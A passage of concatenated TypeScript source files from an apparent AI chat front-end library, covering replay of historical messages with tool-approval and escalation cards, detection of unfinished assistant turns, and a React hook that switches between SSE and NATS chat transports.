undefined,\n      }\n    }\n\n    case MESSAGE_TYPE.ERROR:\n      if ('error' in data) {\n        return {\n          type: 'error',\n          title: data.error || 'An error occurred',\n          details: 'details' in data ? data.details : undefined,\n        }\n      }\n      return null\n\n    case MESSAGE_TYPE.CONTEXT_COMPACTION_START:\n      return { type: 'compaction', phase: 'start' }\n\n    case MESSAGE_TYPE.CONTEXT_COMPACTION_END:\n      return {\n        type: 'compaction',\n        phase: 'end',\n        summary: 'summary' in data && typeof data.summary === 'string' ? data.summary : undefined,\n      }\n\n    case MESSAGE_TYPE.SYSTEM:\n      if ('text' in data && data.text) {\n        return { type: 'participant', kind: 'system', text: data.text }\n      }\n      return null\n\n    default:\n      // Unknown message type — ignore.\n      return null\n  }\n}\n\n// =============================================================================\n// Replay — decoded event → per-turn kernel (history approval semantics)\n// =============================================================================\n\ntype EscalatedApprovals = Map<\n  string,\n  { command: string; explanation?: string; approvalType: string; toolCalls?: PendingToolCallData[] }\n>\n\n/**\n * Terminal escalation-offer resolutions collected while walking history, so\n * they can be applied to ALREADY-FLUSHED bubbles after the walk. The offer\n * row and its resolution row are separated by the user message that caused\n * SUPERSEDED, which puts them in different assistant envelopes — by the time\n * the resolution is read, the accumulator holding the card has been reset.\n */\ntype OfferResolutions = Map<\n  string,\n  { status: ChatApprovalStatus; resolvedByName?: string | null }\n>\n\n/**\n * Replay one decoded event into the shared per-turn segment kernel with the\n * HISTORY approval semantics (an omitted `displayApprovalTypes` means\n * \"display every approval type\" — the original history behavior; the\n * realtime reducer defaults to `['CLIENT']`).\n */\nfunction applyHistoryEvent(\n  event: ChatStreamEvent,\n  accumulator: MessageSegmentAccumulator,\n  approvalStatuses: Record<string, string>,\n  options: MessageProcessingOptions,\n  escalatedApprovals?: EscalatedApprovals,\n  offerResolutions?: OfferResolutions,\n  rowCreatedAt?: Date,\n): void {\n  // batchApprovalsEnabled is owned by the consumer (oss-tenant chat client /\n  // openframe-frontend tickets). Defaults to ON so consumers that haven't\n  // wired the flag yet get the batch UI; pass `false` to force legacy.\n  const { displayApprovalTypes, batchApprovalsEnabled = true, escalationOfferStates } = options\n\n  switch (event.type) {\n    case 'escalation-offer':\n      // Always a real segment, never the tracked/flushed treatment single\n      // approvals get: the offer belongs inline where it was posted.\n      accumulator.addEscalationOffer(\n        event.offerId,\n        event.text,\n        event.origin,\n        escalationOfferStates?.[event.offerId] ?? 'pending',\n      )\n      break\n\n    case 'ticket-escalated':\n      accumulator.addTicketEscalated({\n        ticketId: event.ticketId,\n        ticketNumber: event.ticketNumber,\n        reason: event.reason,\n        text: event.text,\n      })\n      break\n\n    // Seq-less on purpose: the persisted row's sequence lives on the message\n    // (`lastChunkStreamSeq`), not in `messageData`. A live redelivery of the\n    // same event matches this segment by payload equality (see\n    // `addTicketEvent`).\n    case 'ticket-event':\n      // `rowCreatedAt` is the persisted row's own time — without it the card\n      // renders the enclosing assistant bubble's timestamp, i.e. the FIRST\n      // row of the turn, and every lifecycle card reads the same stale time.\n      accumulator.addTicketEvent(\n        {\n          kind: event.kind,\n          actorId: event.actorId,\n          actorName: event.actorName,\n          actorType: event.actorType,\n          reason: event.reason,\n          targetStatusKind: event.targetStatusKind,\n        },\n        undefined,\n        rowCreatedAt,\n      )\n      break\n\n    case 'escalation-offer-resolved':\n      // Recorded, not applied here: `applyOfferResolutions` runs after every\n      // flush and covers the same-bubble case as well as the cross-bubble one.\n      offerResolutions?.set(event.offerId, {\n        status: event.status,\n        resolvedByName: event.resolvedByName,\n      })\n      break\n\n    case 'text-delta':\n      accumulator.appendText(event.text)\n      break\n\n    case 'thinking-delta':\n      accumulator.appendThinking(event.text)\n      break\n\n    case 'guide-delta':\n      accumulator.appendGuide(event.text)\n      break\n\n    // Mirror of the live path: the intro sentence replays as answer text in\n    // front of the card, so a reloaded thread reads exactly like the stream did.\n    case 'ask':\n      if (event.text) accumulator.appendText(event.text)\n      accumulator.addAsk(event.question, event.options)\n      break\n\n    case 'tool-execution':\n      accumulator.addToolExecution({ type: 'tool_execution', data: event.data })\n      break\n\n    case 'approval-request': {\n      const approvalType = event.approvalType || 'CLIENT'\n      const toolCalls = event.toolCalls as PendingToolCallData[] | undefined\n      const isBatch = !!toolCalls && toolCalls.length > 0\n      // Same rule the live kernels use — a card must not change where it\n      // renders (or which backend its buttons hit) just because the page was\n      // reloaded and it came back through history instead of the stream.\n      const guideOrigin = guideApprovalOrigin(event)\n\n      if (approvalDisplaysInline(event, approvalType, displayApprovalTypes)) {\n        if (isBatch) {\n          const status = (approvalStatuses[event.requestId] as ChatApprovalStatus) || 'pending'\n          if (batchApprovalsEnabled) {\n            accumulator.addApprovalBatch(\n              event.requestId,\n              approvalType,\n              toolCalls!,\n              status,\n              undefined,\n              undefined,\n              guideOrigin,\n            )\n          } else {\n            // Flag OFF — unfold batch into N legacy approval cards (same id).\n            for (const call of toolCalls!) {\n              if (!call.requiresApproval) continue\n              accumulator.addApprovalRequest(\n                event.requestId,\n                getCommandText(call),\n                call.toolExplanation,\n                approvalType,\n                status,\n                undefined,\n                guideOrigin,\n              )\n            }\n          }\n        } else {\n          // The resolution may already be known to the consumer (realtime\n          // flipped it and fed it back via `approvalStatuses`) while the\n          // matching APPROVAL_RESULT row is absent from the fetched history\n          // pages. Without this, the single-approval path tracks it as\n          // pending and `flushPendingApprovals()` resurrects it as a stale\n          // sticky card on every history re-process. Mirror the batch path\n          // and honor `approvalStatuses`.\n          const resolvedStatus = approvalStatuses[event.requestId] as ChatApprovalStatus | undefined\n          const isResolved = resolvedStatus === 'approved' || resolvedStatus === 'rejected'\n          // A guide card is added inline even while pending. The tracked path\n          // below ends in `flushPendingApprovals`, whose segments the consumer\n          // lifts into a sticky footer — that is the treatment for the\n          // consumer's OWN approvals, and it is not how the hub's chat renders\n          // a proposal (nor where its preamble expects it).\n          if (guideOrigin || isResolved) {\n            accumulator.addApprovalRequest(\n              event.requestId,\n              event.command || '',\n              event.explanation,\n              approvalType,\n              resolvedStatus ?? 'pending',\n              event.fields,\n              guideOrigin,\n            )\n          } else {\n            accumulator.trackApprovalRequest(event.requestId, {\n              command: event.command || '',\n              explanation: event.explanation,\n              approvalType,\n              fields: event.fields,\n            })\n          }\n        }\n      } else {\n        escalatedApprovals?.set(event.requestId, {\n          command: event.command || '',\n          explanation: event.explanation,\n          approvalType,\n          ...(isBatch ? { toolCalls } : {}),\n        })\n      }\n      break\n    }\n\n    case 'approval-resolved': {\n      const requestId = event.requestId\n      if (!requestId) break\n      const existingStatus = approvalStatuses[requestId] as ChatApprovalStatus | undefined\n      const status: ChatApprovalStatus = existingStatus || event.status\n      const resolvedByName = event.resolvedByName\n      const escalatedData = escalatedApprovals?.get(requestId)\n\n      if (escalatedData?.toolCalls && escalatedData.toolCalls.length > 0) {\n        if (batchApprovalsEnabled) {\n          accumulator.addApprovalBatch(\n            requestId,\n            escalatedData.approvalType,\n            escalatedData.toolCalls,\n            status,\n            undefined,\n            resolvedByName,\n          )\n        } else {\n          for (const call of escalatedData.toolCalls) {\n            if (!call.requiresApproval) continue\n            accumulator.addApprovalRequest(\n              requestId,\n              getCommandText(call),\n              call.toolExplanation,\n              escalatedData.approvalType,\n              status,\n            )\n          }\n        }\n        escalatedApprovals?.delete(requestId)\n        break\n      }\n\n      if (escalatedData) {\n        accumulator.trackApprovalRequest(requestId, {\n          command: escalatedData.command,\n          explanation: escalatedData.explanation,\n          approvalType: escalatedData.approvalType,\n        })\n        escalatedApprovals?.delete(requestId)\n      }\n\n      // If a segment with this id is already present (batch or legacy), just\n      // flip its status. updateApprovalStatus matches both `approval_batch`\n      // and `approval_request` segments.\n      const before = accumulator.getSegments()\n      const after = accumulator.updateApprovalStatus(requestId, status, resolvedByName)\n      const updatedExisting = before.some((s, i) => after[i] !== s)\n      if (updatedExisting) break\n\n      accumulator.processApprovalResult(\n        requestId,\n        status === 'approved',\n        event.approvalType || 'USER',\n      )\n      break\n    }\n\n    case 'error': {\n      let message: string | undefined\n      if (event.details) {\n        try {\n          message = JSON.parse(event.details)?.error?.message\n        } catch {\n          message = event.details\n        }\n      }\n      accumulator.addError(event.title, message)\n      break\n    }\n\n    case 'compaction':\n      if (event.phase === 'start') {\n        accumulator.addContextCompaction()\n      } else {\n        accumulator.completeContextCompaction(event.summary)\n      }\n      break\n\n    default:\n      // Participant/system rows are envelope concerns; everything else is\n      // realtime-only vocabulary that never appears in persisted rows.\n      break\n  }\n}\n\n// =============================================================================\n// Envelope — ONE implementation (previous duplicate deleted)\n// =============================================================================\n\n/**\n * Result type for historical message processing\n */\nexport interface ProcessHistoricalMessagesResult {\n  messages: ProcessedMessage[]\n  escalatedApprovals: EscalatedApprovals\n}\n\n/**\n * Process an array of historical messages into display-ready format\n */\nexport function processHistoricalMessages(\n  messages: HistoricalMessage[],\n  options: MessageProcessingOptions = {},\n): ProcessHistoricalMessagesResult {\n  const {\n    assistantName = 'Fae',\n    assistantType = 'fae',\n    assistantAvatar,\n    onApprove,\n    onReject,\n    chatTypeFilter,\n    approvalStatuses = {},\n    // An omitted option means \"display every approval type\" — the original\n    // history semantics. Deliberately NOT defaulted to the realtime\n    // reducer's ['CLIENT']: consumers that pass a wider list to their\n    // realtime path but omit it on the history path would silently lose\n    // pending non-CLIENT approval cards on every reload/reconnect refetch\n    // (they also ignore `escalatedApprovals`). Realtime/history parity is\n    // opt-in: pass the same explicit list to both.\n    displayApprovalTypes,\n    batchApprovalsEnabled,\n    escalationOfferStates,\n    onEscalationApprove,\n    onEscalationReject,\n  } = options\n\n  const processedMessages: ProcessedMessage[] = []\n  const accumulator = createMessageSegmentAccumulator({\n    onApprove,\n    onReject,\n    onEscalationApprove,\n    onEscalationReject,\n  })\n  const escalatedApprovals: EscalatedApprovals = new Map()\n  const offerResolutions: OfferResolutions = new Map()\n\n  let currentAssistantId: string | null = null\n  let currentAssistantTimestamp: Date | null = null\n  let lastAssistantId: string | null = null\n  // MAX persisted seq across the rows grouped into the current assistant turn\n  // — carried onto the flushed message's streamSeq for per-role merge coverage.\n  let currentAssistantStreamSeq: number | undefined\n\n  /**\n   * Flush the current assistant message to processedMessages.\n   * Uses the LAST message ID in the group for stable React keys across page boundaries.\n   */\n  const flushAssistantMessage = () => {\n    const idToUse = lastAssistantId || currentAssistantId\n    if (idToUse && accumulator.hasContent()) {\n      processedMessages.push({\n        id: idToUse,\n        role: 'assistant',\n        content: accumulator.getSegments(),\n        name: assistantName,\n        assistantType,\n        authorType: assistantType as AuthorType,\n        timestamp: currentAssistantTimestamp || new Date(),\n        avatar: assistantAvatar,\n        ...(currentAssistantStreamSeq !== undefined ? { streamSeq: currentAssistantStreamSeq } : {}),\n      })\n      accumulator.resetSegments()\n    }\n    // Reset grouping identity + seq UNCONDITIONALLY — even on an EMPTY flush (an\n    // assistant turn whose only data was a filtered/escalated approval renders\n    // nothing, so `hasContent()` is false and nothing is pushed). Left inside\n    // the push-block, a stale id/timestamp and (worse) a stale\n    // `currentAssistantStreamSeq` bleed into the NEXT assistant turn: `!currentAssistantId`\n    // stays false so it keeps the old id/timestamp, and `Math.max` inflates its\n    // streamSeq — which then over-covers synthetics in the history merge.\n    currentAssistantId = null\n    currentAssistantTimestamp = null\n    lastAssistantId = null\n    currentAssistantStreamSeq = undefined\n  }\n\n  messages.forEach((msg, index) => {\n    // Filter by chat type if specified\n    if (chatTypeFilter && msg.chatType !== chatTypeFilter) return\n\n    const messageDataArray = Array.isArray(msg.messageData)\n      ? msg.messageData\n      : msg.messageData\n      ? [msg.messageData]\n      : []\n\n    const hasStandaloneData = messageDataArray.some((data) =>\n      data.type === MESSAGE_TYPE.SYSTEM\n    )\n    if (hasStandaloneData) {\n      flushAssistantMessage()\n      pushStandaloneMessages(processedMessages, msg, messageDataArray)\n      return\n    }\n\n    const isUserMessage =\n      msg.owner?.type === OWNER_TYPE.CLIENT || msg.owner?.type === OWNER_TYPE.ADMIN\n\n    if (isUserMessage) {\n      flushAssistantMessage()\n\n      const userAuthorType: AuthorType = msg.owner?.type === OWNER_TYPE.ADMIN ? 'admin' : 'user'\n      messageDataArray.forEach((data) => {\n        if (data.type === MESSAGE_TYPE.TEXT && 'text' in data && data.text) {\n          // `TextData.contextItems` (server: `[{ type, id }]`) — the entity\n          // context the user attached to this message. Surface it so the bubble\n          // renders its chip strip from history (no label on the wire → fall\n          // back to the id, matching the realtime path).\n          const rawContext = (data as { contextItems?: Array<{ type?: unknown; id?: unknown }> }).contextItems\n          const contextItems = Array.isArray(rawContext)\n            ? rawContext\n                .filter((c) => typeof c?.type === 'string' && typeof c?.id === 'string')\n                .map((c) => ({ type: c.type as string, id: c.id as string, label: c.id as string }))\n            : undefined\n          processedMessages.push({\n            id: msg.id,\n            role: 'user',\n            content: data.text,\n            name: getOwnerDisplayName(msg.owner),\n            avatar: getOwnerAvatar(msg.owner),\n            authorType: userAuthorType,\n            timestamp: new Date(msg.createdAt),\n            ...(contextItems && contextItems.length > 0 ? { contextItems } : {}),\n            ...(typeof msg.lastChunkStreamSeq === 'number' ? { streamSeq: msg.lastChunkStreamSeq } : {}),\n          })\n        }\n      })\n    } else {\n      if (!currentAssistantId) {\n        currentAssistantId = msg.id\n        currentAssistantTimestamp = new Date(msg.createdAt)\n      }\n      lastAssistantId = msg.id\n      if (typeof msg.lastChunkStreamSeq === 'number') {\n        currentAssistantStreamSeq =\n          currentAssistantStreamSeq === undefined\n            ? msg.lastChunkStreamSeq\n            : Math.max(currentAssistantStreamSeq, msg.lastChunkStreamSeq)\n      }\n\n      messageDataArray.forEach((data) => {\n        const event = decodeHistoricalMessageData(data)\n        if (!event) return\n        applyHistoryEvent(\n          event,\n          accumulator,\n          approvalStatuses,\n          { displayApprovalTypes, batchApprovalsEnabled, escalationOfferStates },\n          escalatedApprovals,\n          offerResolutions,\n          new Date(msg.createdAt),\n        )\n      })\n\n      // Check if we should flush (next message is from user or last message)\n      const nextMsg = messages[index + 1]\n      const isLastMessage = index === messages.length - 1\n      const nextIsFromUser =\n        nextMsg &&\n        (nextMsg.owner?.type === OWNER_TYPE.CLIENT || nextMsg.owner?.type === OWNER_TYPE.ADMIN)\n\n      if (isLastMessage || nextIsFromUser) {\n        flushAssistantMessage()\n      }\n    }\n  })\n\n  flushAssistantMessage()\n\n  const pendingApprovalSegments = accumulator.flushPendingApprovals()\n  if (pendingApprovalSegments.length > 0) {\n    processedMessages.push({\n      id: `pending-approvals-${Date.now()}`,\n      role: 'assistant',\n      content: pendingApprovalSegments,\n      name: assistantName,\n      assistantType,\n      timestamp: new Date(),\n      avatar: assistantAvatar,\n    })\n  }\n\n  applyOfferResolutions(processedMessages, offerResolutions)\n\n  return {\n    messages: processedMessages,\n    escalatedApprovals: escalatedApprovals\n  }\n}\n\n/**\n * Flip escalation-offer cards that were flushed into an EARLIER bubble than\n * their resolution row. Mutates `processedMessages` in place (it is local to\n * the caller and not yet handed out). Uses the same `applyApprovalStatusToSegment`\n * rule as the live projection so the two paths cannot drift.\n */\nfunction applyOfferResolutions(\n  processedMessages: ProcessedMessage[],\n  offerResolutions: OfferResolutions,\n): void {\n  if (offerResolutions.size === 0) return\n\n  processedMessages.forEach((msg, index) => {\n    if (!Array.isArray(msg.content)) return\n    let changed = false\n    const content = msg.content.map((segment) => {\n      if (segment.type !== 'escalation_offer') return segment\n      const resolution = offerResolutions.get(segment.data.offerId)\n      if (!resolution) return segment\n      const next = applyApprovalStatusToSegment(\n        segment,\n        segment.data.offerId,\n        resolution.status,\n        resolution.resolvedByName,\n      )\n      if (next !== segment) changed = true\n      return next\n    })\n    if (changed) processedMessages[index] = { ...msg, content }\n  })\n}\n\n/**\n * Extract error messages from historical messages\n * Returns a separate array of error messages that should be displayed\n */\nexport function extractErrorMessages(\n  messages: HistoricalMessage[],\n  options: MessageProcessingOptions = {}\n): ProcessedMessage[] {\n  const { assistantName = 'Fae', assistantType = 'fae', assistantAvatar, chatTypeFilter } = options\n\n  const errorMessages: ProcessedMessage[] = []\n\n  messages.forEach((msg) => {\n    if (chatTypeFilter && msg.chatType !== chatTypeFilter) return\n\n    const messageDataArray = Array.isArray(msg.messageData)\n      ? msg.messageData\n      : msg.messageData\n      ? [msg.messageData]\n      : []\n\n    messageDataArray.forEach((data) => {\n      if (data.type === MESSAGE_TYPE.ERROR) {\n        errorMessages.push({\n          id: `${msg.id}-error`,\n          role: 'error',\n          content: 'error' in data && data.error ? data.error : 'An error occurred',\n          name: assistantName,\n          assistantType,\n          timestamp: new Date(msg.createdAt),\n          avatar: assistantAvatar,\n        })\n      }\n    })\n  })\n\n  return errorMessages\n}\n\n/**\n * Process messages and include error messages in the correct order.\n *\n * HISTORICAL ALIAS: this was a byte-identical second copy of\n * `processHistoricalMessages` (both goldens snapshot identical output on the\n * same corpus). The duplicate envelope was deleted in Phase 3 — kept as an\n * alias for the established import sites.\n */\nexport const processHistoricalMessagesWithErrors = processHistoricalMessages\n","/**\n * Utility for extracting incomplete message state from historical messages\n * Used to continue building messages across realtime connections\n */\n\nimport type {\n  ProcessedMessage,\n  MessageSegment,\n  PendingApproval,\n  ExecutingToolState,\n} from '../types'\nimport type { InitializeExtras } from '../stream/chat-stream-reducer'\n\n/**\n * What the realtime accumulator needs to RESUME an unfinished turn.\n *\n * DERIVED, not restated: this is exactly the reducer's `InitializeExtras`\n * minus `escalatedApprovals` (which only the live stream can produce — it has\n * no historical representation to extract). Hosts pass the result straight\n * into `reducer.initializeWithState(messages, extras)`, so the two must not\n * drift; a structural coincidence is not a contract.\n */\nexport type IncompleteMessageState = Omit<InitializeExtras, 'escalatedApprovals'>\n\n/**\n * Extract incomplete message state from the last historical assistant message\n * Used to initialize realtime chunk processor when continuing an incomplete message\n */\nexport function extractIncompleteMessageState(\n  lastMessage: ProcessedMessage | undefined\n): IncompleteMessageState | undefined {\n  if (!lastMessage || lastMessage.role !== 'assistant' || typeof lastMessage.content === 'string') {\n    return undefined\n  }\n\n  const segments = lastMessage.content as MessageSegment[]\n  const pendingApprovals = new Map<string, PendingApproval>()\n  const executingTools = new Map<string, ExecutingToolState>()\n  let hasIncompleteState = false\n  // \"Incomplete\" and \"the agent is working\" are DIFFERENT questions, and only\n  // the second one drives the activity indicator. A pending approval is the\n  // clearest case of incomplete-but-idle: the turn is unfinished precisely\n  // BECAUSE the agent is blocked on the user, and spinning there claims work\n  // that is not happening. Everything below is the complement of that.\n  let agentBusy = false\n\n  segments.forEach((segment, index) => {\n    const isLast = index === segments.length - 1\n    switch (segment.type) {\n      case 'tool_execution':\n        if (segment.data.type === 'EXECUTING_TOOL') {\n          const toolKey =\n            segment.data.toolExecutionRequestId ||\n            `${segment.data.integratedToolType}-${segment.data.toolFunction}`\n          executingTools.set(toolKey, {\n            integratedToolType: segment.data.integratedToolType,\n            toolFunction: segment.data.toolFunction,\n            toolTitle: segment.data.toolTitle,\n            toolExplanation: segment.data.toolExplanation,\n            parameters: segment.data.parameters,\n          })\n          hasIncompleteState = true\n          // An EXECUTING with no result: the tool is running right now.\n          agentBusy = true\n        }\n        break\n\n      case 'approval_request':\n        if (segment.status === 'pending' && segment.data.requestId) {\n          pendingApprovals.set(segment.data.requestId, {\n            command: segment.data.command,\n            explanation: segment.data.explanation,\n            approvalType: segment.data.approvalType || 'CLIENT',\n          })\n          hasIncompleteState = true\n        } else if (isLast && segment.status === 'approved') {\n          // The user said yes and the agent has produced NOTHING since — it is\n          // executing the command. Position is the only signal here: unlike a\n          // batch, a single request carries no execution record, so an approved\n          // request that already ran is recognised by the work that follows it.\n          //\n          // This also has to mark the tail incomplete, or the state never\n          // reaches the reducer at all — and the continuation, when it replays,\n          // must merge into THIS bubble rather than open a second one.\n          hasIncompleteState = true\n          agentBusy = true\n        }\n        break\n\n      case 'approval_batch': {\n        // Treat a batch as in-progress until every tool call has a\n        // `done` execution OR the batch was rejected. Otherwise the realtime\n        // accumulator won't hold the segment and post-approval EXECUTED_TOOL\n        // chunks won't be able to merge into it via `applyExecutionToBatch`.\n        const allDone =\n          !!segment.data.executions &&\n          segment.data.toolCalls.every(\n            (c) => segment.data.executions?.[c.toolExecutionRequestId]?.status === 'done',\n          )\n        if (segment.status !== 'rejected' && !allDone) {\n          hasIncompleteState = true\n        }\n        // Approved with tool calls still outstanding — the agent is running\n        // them. The execution record makes this position-independent: once\n        // every call is `done` the batch stops claiming work.\n        if (segment.status === 'approved' && !allDone) {\n          agentBusy = true\n        }\n        break\n      }\n\n      case 'escalation_offer':\n        // A pending offer leaves the turn unfinished so the reducer holds the\n        // card and the resolution chunk can flip it in place. It never sets\n        // `agentBusy`: Fae is blocked on the user's decision, and on approval\n        // she goes SILENT rather than resuming — there is no work to spin for.\n        if (!segment.status || segment.status === 'pending') {\n          hasIncompleteState = true\n        }\n        break\n\n      case 'context_compaction':\n        if (segment.status === 'started') {\n          hasIncompleteState = true\n          // Compaction is the agent's own work, not a wait on the user.\n          agentBusy = true\n        }\n        break\n    }\n  })\n\n  if (!hasIncompleteState) {\n    return undefined\n  }\n\n  return {\n    existingSegments: segments,\n    pendingApprovals: pendingApprovals.size > 0 ? pendingApprovals : undefined,\n    executingTools: executingTools.size > 0 ? executingTools : undefined,\n    ...(agentBusy ? { agentBusy: true } : {}),\n  }\n}\n\n/**\n * THREAD-level generalization of `extractIncompleteMessageState`: given a\n * processed thread, look at the TRAILING RUN of consecutive assistant\n * messages (not just the very last row), flatten it to one segment list, and\n * ask the single-message extractor whether that tail is unfinished.\n *\n * Why the run and not the last row: the backend can split one logical turn\n * across several assistant messages (a preamble bubble, then the approval\n * card, then the continuation). The unfinished artifact — a pending approval,\n * an EXECUTING_TOOL with no result, an open compaction — can therefore sit in\n * an EARLIER bubble of the same trailing run, and a last-row-only check\n * reports \"complete\" while the turn is very much still in flight.\n *\n * SSOT for every \"is the tail incomplete?\" question — the NATS adapter (which\n * used to inline the single-row check) and hosts replaying a stored thread\n * both call this instead of re-deriving the walk.\n *\n * A trailing non-assistant row (user / error) means the last turn closed →\n * `undefined`.\n */\nexport function extractIncompleteTailState(\n  messages: readonly ProcessedMessage[] | undefined,\n): IncompleteMessageState | undefined {\n  if (!messages || messages.length === 0) return undefined\n\n  // Walk back over the trailing consecutive assistant run.\n  let start = messages.length\n  while (start > 0 && messages[start - 1]?.role === 'assistant') start -= 1\n  if (start === messages.length) return undefined\n\n  const segments: MessageSegment[] = []\n  for (let i = start; i < messages.length; i += 1) {\n    const content = messages[i]?.content\n    // A string-content assistant row is a plain-text bubble with nothing to\n    // resume; skip it rather than aborting — a later row in the same run may\n    // still hold the unfinished segment.\n    if (Array.isArray(content)) segments.push(...(content as MessageSegment[]))\n  }\n  if (segments.length === 0) return undefined\n\n  // Reuse the single-message extractor verbatim by handing it a synthetic\n  // assistant row carrying the flattened run — one incompleteness rule set,\n  // not two.\n  return extractIncompleteMessageState({\n    ...messages[messages.length - 1],\n    role: 'assistant',\n    content: segments,\n  } as ProcessedMessage)\n}","'use client'\n\n/**\n * useUnifiedChat — the single public entry point for the unified chat\n * surface. Dispatches between the SSE/Guide and NATS/Mingo transport\n * adapters based on the active mode. Always calls both underlying\n * hooks (React rules of hooks) but only one is \"live\": the inactive\n * one stays idle (no streams, no subscriptions) while preserving its\n * local message buffer so a mode-flip restores the user to exactly\n * where they left off.\n *\n * Consumers that only need one mode pass a single `modes` entry —\n * the inactive adapter's config slot stays empty and the hook\n * supplies a no-op default so React-hooks-rules are satisfied\n * without forcing consumers to write throwaway stubs.\n *\n * The mode-toggle UI affordance lives in the `<MingoChat>` shell that\n * consumes this hook, NOT here. This module is pure state plumbing.\n */\n\nimport { useCallback, useMemo, useRef } from 'react'\nimport { useSseChatAdapter, type UseSseChatAdapterOptions } from './use-sse-chat-adapter'\nimport {\n  useNatsChatAdapter,\n  type UseNatsChatAdapterConfig,\n} from './use-nats-chat-adapter'\nimport type { UnifiedChatState } from '../types/unified-chat-state.types'\n\n// =============================================================================\n// Modes\n// =============================================================================\n\n/** Discriminator for the active transport mode. */\nexport type ChatMode = 'guide' | 'mingo'\n\n/**\n * Per-mode configuration. Each slot is optional — consumers that only\n * need one mode leave the other undefined. The active mode MUST have\n * its config populated; passing `activeMode: 'mingo'` while `modes.mingo`\n * is undefined is a programming error and surfaces as a thrown\n * `sendMessage`.\n */\nexport interface UseUnifiedChatModes {\n  /**\n   * Guide mode (SSE → hub). Currently `useSseChatAdapter` reads its\n   * config from the ambient `ChatRuntimeContext` rather than props,\n   * so this slot is just an opt-in flag plus its adapter options.\n   * The presence of the key signals \"guide mode is configured\".\n   */\n  guide?: UseSseChatAdapterOptions\n\n  /**\n   * Mingo mode (NATS → openframe). All wiring is explicit: dialog id,\n   * NATS URL builder, publish callback, optional catchup fetcher.\n   * See `UseNatsChatAdapterConfig` for the field-by-field contract.\n   */\n  mingo?: UseNatsChatAdapterConfig\n}\n\nexport interface UseUnifiedChatOptions {\n  modes: UseUnifiedChatModes\n  activeMode: ChatMode\n\n  /**\n   * Pre-built Mingo-mode state, supplied by the host instead of letting\n   * the internal `useNatsChatAdapter` own it. When provided AND the active\n   * mode is `'mingo'`, this object is used verbatim as the active state and\n   * the internal NATS adapter stays idle (the host should also omit\n   * `modes.mingo` so no live subscription is opened here).\n   *\n   * This is the seam that lets a host keep chat data/streaming in its own\n   * store + cache (so it survives the panel unmounting) rather than in this\n   * hook's local React state. Guide mode is unaffected.\n   */\n  mingoStateOverride?: UnifiedChatState\n}\n\n// =============================================================================\n// Defaults — fill the inactive slot so both hooks run safely\n// =============================================================================\n\nconst EMPTY_SSE_OPTIONS: UseSseChatAdapterOptions = {}\n\nfunction createDisabledNatsConfig(): UseNatsChatAdapterConfig {\n  return {\n    dialogId: null,\n    getNatsWsUrl: () => null,\n    publishUserMessage: () => {\n      throw new Error(\n        '[useUnifiedChat] publishUserMessage invoked but mingo mode is not configured. ' +\n          'Pass `modes.mingo` to enable Mingo agent transport.',\n      )\n    },\n  }\n}\n\n// =============================================================================\n// Hook\n// =============================================================================\n\nexport function useUnifiedChat(\n  options: UseUnifiedChatOptions,\n): UnifiedChatState {\n  const { modes, activeMode, mingoStateOverride } = options\n\n  // The mingo config object identity matters — `useNatsChatAdapter`\n  // wires its `dialogId`/url/publish into deps. Stabilise the disabled\n  // fallback so a guide-only consumer doesn't churn NATS hook state\n  // every render.\n  const disabledNatsRef = useRef<UseNatsChatAdapterConfig | null>(null)\n  if (disabledNatsRef.current === null) {\n    disabledNatsRef.current = createDisabledNatsConfig()\n  }\n\n  // Each adapter receives the user's config OR the disabled fallback,\n  // plus an `active` flag that gates its live network work. Both\n  // hooks are always called — only one is doing real work.\n  const sseActive = activeMode === 'guide' && modes.guide !== undefined\n  const natsActive = activeMode === 'mingo' && modes.mingo !== undefined\n\n  const sseState = useSseChatAdapter(modes.guide ?? EMPTY_SSE_OPTIONS, {\n    active: sseActive,\n  })\n  const natsState = useNatsChatAdapter(\n    modes.mingo ?? disabledNatsRef.current,\n    { active: natsActive },\n  )\n\n  // Host-injected Mingo state wins when present: the internal `natsState`\n  // still runs (rules of hooks) but is idle (no `modes.mingo` → not active),\n  // and we hand the host's store-backed state straight through as active.\n  const activeState =\n    activeMode === 'guide'\n      ? sseState\n      : (mingoStateOverride ?? natsState)\n\n  // Live ref to the active state. The injected `mingoState` (and the SSE/NATS\n  // adapters) hand back a NEW state object on EVERY streaming chunk\n  // (`messages`/`streamingPhase`/`tokenUsage` change), so binding the forwards\n  // below to `[activeState]` would recreate them each chunk. That churn\n  // cascades into consumers' memo deps — most visibly `renderEntityCard` in\n  // `embeddable-chat`, whose new identity defeats `ChatMessageEnhanced`'s memo\n  // and re-renders (re-mounts inline cards on) every message each chunk.\n  // Reading through the ref keeps the forwards referentially STABLE while\n  // still calling the latest active state.\n  const activeStateRef = useRef(activeState)\n  activeStateRef.current = activeState\n\n  // Re-wrap so the returned identity is stable for the active state.\n  // Consumers shouldn't see the inactive adapter's state at all.\n  const stopMessage = useCallback(() => activeStateRef.current.stopMessage(), [])\n  const clearMessages = useCallback(\n    () => activeStateRef.current.clearMessages(),\n    [],\n  )\n  const sendMessage = useCallback(\n    (text: string, opts?: Parameters<UnifiedChatState['sendMessage']>[1]) =>\n      activeStateRef.current.sendMessage(text, opts),\n    [],\n  )\n  const discussRef = useCallback(\n    (ref: Parameters<UnifiedChatState['discussRef']>[0]) =>\n      activeStateRef.current.discussRef(ref),\n    [],\n  )\n  const displayRef = useCallback(\n    (ref: Parameters<UnifiedChatState['displayRef']>[0]) =>\n      activeStateRef.current.displayRef(ref),\n    [],\n  )\n\n  // Dialog-management forwards — one thin wrapper per action so the\n  // returned identity stays stable as long as the active adapter's\n  // identity does. We don't recreate per-call to avoid spurious child\n  // re-renders downstream.\n  const selectDialog = useCallback(\n    (id: string | null) => activeStateRef.current.selectDialog(id),\n    [],\n  )\n  const startNewDialog = useCallback(\n    () => activeStateRef.current.startNewDialog(),\n    [],\n  )\n  const deleteDialog = useCallback(\n    (id: string) => activeStateRef.current.deleteDialog(id),\n    [],\n  )\n  const renameDialog = useCallback(\n    (id: string, title: string) => activeStateRef.current.renameDialog(id, title),\n    [],\n  )\n  const archiveDialog = useCallback(\n    (id: string) => activeStateRef.current.archiveDialog(id),\n    [],\n  )\n  const loadMoreDialogs = useCallback(\n    () => activeStateRef.current.loadMoreDialogs(),\n    [],\n  )\n  const setDialogScope = useCallback(\n    (scope: 'my' | 'all') => activeStateRef.current.setDialogScope?.(scope),\n    [],\n  )\n  const reloadDialogs = useCallback(\n    () => activeStateRef.current.reloadDialogs(),\n    [],\n  )\n  const loadMoreMessages = useCallback(\n    () => activeStateRef.current.loadMoreMessages(),\n    [],\n  )\n  const approveRequest = useCallback(\n    (requestId: string) => 